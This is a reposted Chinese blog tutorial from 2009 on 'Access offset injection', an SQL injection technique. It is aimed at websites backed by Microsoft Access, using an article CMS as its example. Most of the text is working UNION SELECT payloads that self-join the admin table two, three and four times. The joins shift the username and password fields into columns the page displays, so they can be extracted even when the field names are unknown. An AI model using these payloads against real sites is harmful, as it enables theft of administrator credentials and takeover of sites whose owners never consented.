首页 电脑 电脑学堂 查看内容

access偏移注入

2009-3-13 11:28 414 0

摘要:   本人来自zake'blog 转载请注明出处。。   此方法解决%90注入得到表的不到字段的网站,衷心感谢兄弟2月30日讨论!   我举动力文章的例子   他的是28个字段   加入admi...
关键词: admin 字段 id inner select join union username nbsp 位置

  本人来自zake'blog 转载请注明出处。。   此方法解决%90注入得到表的不到字段的网站,衷心感谢兄弟2月30日讨论!   我举动力文章的例子   他的是28个字段   加入admin表5个字段   那么union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin   union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin   *   就是5个字段?   这样来爆admin里边的所有表明   但注意 * 确是代表了所有admin表的字段   如果正好比如username在可显示位置   他就会显示在页面上   我需要爆他的字段呢·   技术都有局限性 这个方法需要知道表名和一个字段名id   不需要其他字段   比如什么password username   你要问他如果不在可显示位置么   通常不知道的是表名   表段名 可以通过查找后台登陆找到   这个就要看自己的了   大家看看这个语句   union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)   这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接   这样from 后面的表就会成为字段数加倍的表   前面18+2*5 = 28 个字段 就是合法的   *代表的字段就会拓宽 加大username password在可显示位置的几率   如果不在怎么办? 那么union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)   union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)   大家是否觉得很疑惑 18+ 2 + 5*2 = 30 > 28 但这条语句是合法的   这个地方很关键   他为什么会是合法的语句   这个地方是技术核心 必须理解   前边是 30   后边是 28 怎么可能相等   因为a.id 和 b.id在*里是有的   那么计算机自动去掉重复的 保持集合里元素的唯一性   这样一来虽然查询效果一样   但是*里的字段排列顺序却被打乱了!   先后两次打乱 很有可能让username password偏移到可显示的位置   如果还没成功 怎么办?   union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)   union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部